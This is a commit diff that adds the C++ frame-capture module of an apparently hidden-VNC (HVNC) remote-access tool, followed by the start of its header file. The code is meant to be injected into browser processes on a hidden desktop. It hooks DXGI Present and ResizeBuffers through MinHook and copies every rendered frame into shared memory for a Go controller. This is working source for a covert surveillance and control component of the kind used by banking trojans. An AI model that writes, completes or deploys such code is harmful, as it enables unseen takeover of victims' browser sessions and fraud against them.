GPU HVNC capturing
This commit is contained in:
@@ -0,0 +1,632 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — DXGI SwapChain::Present hook implementation.
|
||||
//
|
||||
// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
|
||||
// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
|
||||
//
|
||||
// Strategy:
|
||||
// 1. Create a temporary D3D11 device + swapchain to get the vtable address
|
||||
// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
|
||||
// 2. Hook both via MinHook.
|
||||
// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
|
||||
// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
|
||||
// Map it, and write the BGRA pixels into the shared memory section.
|
||||
// 4. Signal the named event so the Go reader knows a frame is ready.
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <d3d11.h>
|
||||
#include <dxgi1_2.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "MinHook.h"
|
||||
#include "DXGICapture.h"
|
||||
|
||||
#pragma comment(lib, "libMinHook.x64.lib")
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Forward declarations
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
|
||||
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Globals
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static PFN_Present g_OrigPresent = NULL;
|
||||
static PFN_Present1 g_OrigPresent1 = NULL;
|
||||
static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
|
||||
|
||||
// Staging resources — double-buffered to avoid blocking Map calls
|
||||
static ID3D11Device* g_Device = NULL;
|
||||
static ID3D11DeviceContext* g_Context = NULL;
|
||||
static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
|
||||
static UINT g_StagingW = 0;
|
||||
static UINT g_StagingH = 0;
|
||||
static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
|
||||
static UINT g_WriteIdx = 0; // CopyResource target index
|
||||
static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
|
||||
|
||||
// Shared memory
|
||||
static HANDLE g_ShmHandle = NULL;
|
||||
static void* g_ShmView = NULL;
|
||||
static SIZE_T g_ShmSize = 0;
|
||||
static HANDLE g_FrameEvent = NULL;
|
||||
static UINT64 g_FrameSeq = 0;
|
||||
|
||||
// Frequency for timestamps
|
||||
static LARGE_INTEGER g_PerfFreq;
|
||||
|
||||
// Rate limiting — don't copy more than ~60 fps worth of frames
|
||||
static LARGE_INTEGER g_LastFrameTime;
|
||||
static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
|
||||
|
||||
// Critical section for thread safety
|
||||
static CRITICAL_SECTION g_Lock;
|
||||
static BOOL g_LockInitialized = FALSE;
|
||||
|
||||
// Primary swap chain tracking — only capture the largest one in the GPU process
|
||||
static IDXGISwapChain* g_PrimarySwapChain = NULL;
|
||||
static UINT g_PrimaryArea = 0;
|
||||
static UINT g_PrimaryResetCounter = 0;
|
||||
|
||||
// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
|
||||
#define MIN_CAPTURE_WIDTH 128
|
||||
#define MIN_CAPTURE_HEIGHT 128
|
||||
#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Helpers
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
#ifndef ENABLE_DEBUG_LOGGING
|
||||
#define ENABLE_DEBUG_LOGGING 1
|
||||
#endif
|
||||
|
||||
static void DebugLog(const char* fmt, ...) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vsnprintf(buf, sizeof(buf), fmt, args);
|
||||
va_end(args);
|
||||
OutputDebugStringA(buf);
|
||||
#else
|
||||
(void)fmt;
|
||||
#endif
|
||||
}
|
||||
|
||||
static UINT64 GetTimestampNs(void) {
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
|
||||
}
|
||||
|
||||
static void BuildShmName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
static void BuildEventName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Shared memory management
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL EnsureSharedMemory(UINT width, UINT height) {
|
||||
UINT stride = width * 4;
|
||||
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
|
||||
|
||||
if (g_ShmView && g_ShmSize >= needed) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
|
||||
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
|
||||
g_ShmSize = 0;
|
||||
|
||||
char shmName[128];
|
||||
BuildShmName(shmName, sizeof(shmName));
|
||||
|
||||
wchar_t wShmName[128];
|
||||
MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
|
||||
|
||||
DWORD sizeHigh = (DWORD)(needed >> 32);
|
||||
DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
|
||||
|
||||
g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
|
||||
if (!g_ShmHandle) {
|
||||
DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
|
||||
if (!g_ShmView) {
|
||||
DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError());
|
||||
CloseHandle(g_ShmHandle);
|
||||
g_ShmHandle = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_ShmSize = needed;
|
||||
|
||||
if (!g_FrameEvent) {
|
||||
char evtName[128];
|
||||
BuildEventName(evtName, sizeof(evtName));
|
||||
wchar_t wEvtName[128];
|
||||
MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
|
||||
g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Staging texture management (double-buffered)
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
|
||||
if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
g_HasPrevFrame = FALSE;
|
||||
g_WriteIdx = 0;
|
||||
|
||||
// Normalise typeless formats to their UNORM equivalents for staging
|
||||
DXGI_FORMAT stageFmt = fmt;
|
||||
switch (fmt) {
|
||||
case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
|
||||
case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
|
||||
case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
|
||||
case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
|
||||
default: break;
|
||||
}
|
||||
|
||||
D3D11_TEXTURE2D_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.Width = width;
|
||||
desc.Height = height;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = stageFmt;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.SampleDesc.Quality = 0;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
desc.BindFlags = 0;
|
||||
desc.MiscFlags = 0;
|
||||
|
||||
HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
|
||||
return FALSE;
|
||||
}
|
||||
hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
|
||||
g_Staging[0]->Release(); g_Staging[0] = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_StagingW = width;
|
||||
g_StagingH = height;
|
||||
g_StagingFmt = fmt;
|
||||
DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
|
||||
static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
|
||||
switch (fmt) {
|
||||
case DXGI_FORMAT_B8G8R8A8_UNORM:
|
||||
case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
|
||||
case DXGI_FORMAT_B8G8R8A8_TYPELESS:
|
||||
case DXGI_FORMAT_R8G8B8A8_UNORM:
|
||||
case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
|
||||
case DXGI_FORMAT_R8G8B8A8_TYPELESS:
|
||||
return TRUE;
|
||||
default:
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Core frame capture — called from Present hooks (SEH-protected)
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
|
||||
// Rate limit
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
|
||||
if (elapsedUs < g_MinFrameIntervalUs) {
|
||||
return;
|
||||
}
|
||||
g_LastFrameTime = now;
|
||||
|
||||
// Get the backbuffer
|
||||
ID3D11Texture2D* backbuffer = NULL;
|
||||
HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
|
||||
if (FAILED(hr) || !backbuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get device/context from the backbuffer if not cached
|
||||
if (!g_Device) {
|
||||
((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
|
||||
if (g_Device) {
|
||||
g_Device->GetImmediateContext(&g_Context);
|
||||
}
|
||||
}
|
||||
|
||||
if (!g_Device || !g_Context) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
D3D11_TEXTURE2D_DESC bbDesc;
|
||||
backbuffer->GetDesc(&bbDesc);
|
||||
|
||||
UINT w = bbDesc.Width;
|
||||
UINT h = bbDesc.Height;
|
||||
|
||||
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
|
||||
if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Track the primary (largest) swap chain — Chrome GPU process serves many
|
||||
UINT area = w * h;
|
||||
g_PrimaryResetCounter++;
|
||||
if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
|
||||
g_PrimarySwapChain = NULL;
|
||||
g_PrimaryArea = 0;
|
||||
g_PrimaryResetCounter = 0;
|
||||
}
|
||||
if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
|
||||
g_PrimarySwapChain = pSwapChain;
|
||||
if (area > g_PrimaryArea) g_PrimaryArea = area;
|
||||
} else if (area > g_PrimaryArea) {
|
||||
g_PrimarySwapChain = pSwapChain;
|
||||
g_PrimaryArea = area;
|
||||
} else {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Only capture 32bpp BGRA/RGBA formats we can handle
|
||||
if (!IsCopyable32bpp(bbDesc.Format)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EnsureSharedMemory(w, h)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
UINT writeIdx = g_WriteIdx;
|
||||
UINT readIdx = 1 - writeIdx;
|
||||
|
||||
// Copy backbuffer to the write staging texture (async GPU op, returns immediately)
|
||||
if (bbDesc.SampleDesc.Count > 1) {
|
||||
D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
|
||||
resolveDesc.SampleDesc.Count = 1;
|
||||
resolveDesc.SampleDesc.Quality = 0;
|
||||
resolveDesc.Usage = D3D11_USAGE_DEFAULT;
|
||||
resolveDesc.BindFlags = 0;
|
||||
resolveDesc.CPUAccessFlags = 0;
|
||||
resolveDesc.MiscFlags = 0;
|
||||
|
||||
ID3D11Texture2D* resolved = NULL;
|
||||
hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
|
||||
if (SUCCEEDED(hr) && resolved) {
|
||||
g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
|
||||
g_Context->CopyResource(g_Staging[writeIdx], resolved);
|
||||
resolved->Release();
|
||||
} else {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
|
||||
}
|
||||
|
||||
backbuffer->Release();
|
||||
|
||||
// Flip staging index for next frame
|
||||
g_WriteIdx = readIdx;
|
||||
|
||||
// On first frame, nothing to read yet
|
||||
if (!g_HasPrevFrame) {
|
||||
g_HasPrevFrame = TRUE;
|
||||
return;
|
||||
}
|
||||
|
||||
// Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
|
||||
if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
|
||||
return; // GPU hasn't finished the previous copy — skip
|
||||
}
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
UINT dstStride = w * 4;
|
||||
UINT srcPitch = mapped.RowPitch;
|
||||
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
|
||||
BYTE* src = (BYTE*)mapped.pData;
|
||||
|
||||
for (UINT y = 0; y < h; y++) {
|
||||
memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
|
||||
}
|
||||
|
||||
g_Context->Unmap(g_Staging[readIdx], 0);
|
||||
|
||||
// Write header (AFTER pixel data + barrier so reader sees consistent data)
|
||||
g_FrameSeq++;
|
||||
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
|
||||
hdr->magic = HVNC_FRAME_MAGIC;
|
||||
hdr->version = HVNC_FRAME_VERSION;
|
||||
hdr->width = w;
|
||||
hdr->height = h;
|
||||
hdr->stride = dstStride;
|
||||
hdr->format = (UINT32)bbDesc.Format;
|
||||
hdr->frameSeq = g_FrameSeq;
|
||||
hdr->timestampNs = GetTimestampNs();
|
||||
hdr->pid = GetCurrentProcessId();
|
||||
hdr->reserved = 0;
|
||||
|
||||
MemoryBarrier();
|
||||
|
||||
if (g_FrameEvent) {
|
||||
SetEvent(g_FrameEvent);
|
||||
}
|
||||
}
|
||||
|
||||
static void CaptureFrame(IDXGISwapChain* pSwapChain) {
|
||||
if (!g_LockInitialized) return;
|
||||
|
||||
if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
|
||||
__try {
|
||||
CaptureFrameInner(pSwapChain);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
|
||||
GetExceptionCode());
|
||||
}
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Hooked functions
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
|
||||
CaptureFrame(pSwapChain);
|
||||
return g_OrigPresent(pSwapChain, SyncInterval, Flags);
|
||||
}
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
|
||||
CaptureFrame((IDXGISwapChain*)pSwapChain);
|
||||
return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
|
||||
}
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
|
||||
EnterCriticalSection(&g_Lock);
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
|
||||
g_HasPrevFrame = FALSE; g_WriteIdx = 0;
|
||||
g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
|
||||
if (g_Context) { g_Context->Release(); g_Context = NULL; }
|
||||
if (g_Device) { g_Device->Release(); g_Device = NULL; }
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
|
||||
return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// vtable discovery — create a dummy swapchain to get Present address
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
|
||||
*ppPresent = NULL;
|
||||
*ppPresent1 = NULL;
|
||||
*ppResizeBuffers = NULL;
|
||||
|
||||
HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
|
||||
if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
|
||||
if (!hD3D11) {
|
||||
DebugLog("[HVNCCapture] d3d11.dll not available\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
|
||||
IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
|
||||
UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
|
||||
D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
|
||||
|
||||
PFN_D3D11CreateDeviceAndSwapChain pCreate =
|
||||
(PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
|
||||
if (!pCreate) {
|
||||
DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HWND hWnd = GetDesktopWindow();
|
||||
|
||||
DXGI_SWAP_CHAIN_DESC scd;
|
||||
ZeroMemory(&scd, sizeof(scd));
|
||||
scd.BufferCount = 1;
|
||||
scd.BufferDesc.Width = 2;
|
||||
scd.BufferDesc.Height = 2;
|
||||
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
|
||||
scd.BufferDesc.RefreshRate.Numerator = 60;
|
||||
scd.BufferDesc.RefreshRate.Denominator = 1;
|
||||
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
|
||||
scd.OutputWindow = hWnd;
|
||||
scd.SampleDesc.Count = 1;
|
||||
scd.Windowed = TRUE;
|
||||
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
|
||||
|
||||
IDXGISwapChain* pSwapChain = NULL;
|
||||
ID3D11Device* pDevice = NULL;
|
||||
ID3D11DeviceContext* pCtx = NULL;
|
||||
D3D_FEATURE_LEVEL featureLevel;
|
||||
|
||||
HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
|
||||
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
|
||||
|
||||
if (FAILED(hr) || !pSwapChain) {
|
||||
hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
|
||||
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
|
||||
}
|
||||
|
||||
if (FAILED(hr) || !pSwapChain) {
|
||||
DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
|
||||
if (pCtx) pCtx->Release();
|
||||
if (pDevice) pDevice->Release();
|
||||
if (pSwapChain) pSwapChain->Release();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Extract vtable pointers via raw vtable read
|
||||
// IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
|
||||
void** vtable = *(void***)pSwapChain;
|
||||
*ppPresent = vtable[8];
|
||||
*ppResizeBuffers = vtable[13];
|
||||
|
||||
// Try to get Present1 from IDXGISwapChain1
|
||||
IDXGISwapChain1* pSwapChain1 = NULL;
|
||||
hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
|
||||
if (SUCCEEDED(hr) && pSwapChain1) {
|
||||
void** vtable1 = *(void***)pSwapChain1;
|
||||
// IDXGISwapChain1: Present1 is at vtable index 22
|
||||
*ppPresent1 = vtable1[22];
|
||||
pSwapChain1->Release();
|
||||
}
|
||||
|
||||
pCtx->Release();
|
||||
pDevice->Release();
|
||||
pSwapChain->Release();
|
||||
|
||||
DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
|
||||
*ppPresent, *ppPresent1, *ppResizeBuffers);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Public API
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
void InstallDXGICapture(void) {
|
||||
QueryPerformanceFrequency(&g_PerfFreq);
|
||||
QueryPerformanceCounter(&g_LastFrameTime);
|
||||
|
||||
InitializeCriticalSection(&g_Lock);
|
||||
g_LockInitialized = TRUE;
|
||||
|
||||
MH_STATUS status = MH_Initialize();
|
||||
if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
|
||||
DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status);
|
||||
return;
|
||||
}
|
||||
|
||||
void* pPresent = NULL;
|
||||
void* pPresent1 = NULL;
|
||||
void* pResizeBuffers = NULL;
|
||||
|
||||
if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
|
||||
DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (pPresent) {
|
||||
status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pPresent);
|
||||
DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
if (pPresent1) {
|
||||
status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pPresent1);
|
||||
DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
if (pResizeBuffers) {
|
||||
status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pResizeBuffers);
|
||||
DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
|
||||
}
|
||||
|
||||
void RemoveDXGICapture(void) {
|
||||
if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
|
||||
if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
|
||||
if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
|
||||
|
||||
MH_Uninitialize();
|
||||
|
||||
if (g_LockInitialized) {
|
||||
EnterCriticalSection(&g_Lock);
|
||||
}
|
||||
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
if (g_Context) { g_Context->Release(); g_Context = NULL; }
|
||||
if (g_Device) { g_Device->Release(); g_Device = NULL; }
|
||||
|
||||
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
|
||||
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
|
||||
if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
|
||||
|
||||
if (g_LockInitialized) {
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
DeleteCriticalSection(&g_Lock);
|
||||
g_LockInitialized = FALSE;
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] Cleaned up\n");
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,61 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
|
||||
//
|
||||
// Injected into browser processes running on the hidden desktop. Hooks
|
||||
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
|
||||
// to a named shared-memory section so the Go capture thread can read them
|
||||
// directly instead of using the slow PrintWindow API.
|
||||
//
|
||||
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
|
||||
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
|
||||
//
|
||||
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
|
||||
//===============================================================================================//
|
||||
#ifndef _DXGI_CAPTURE_H
|
||||
#define _DXGI_CAPTURE_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
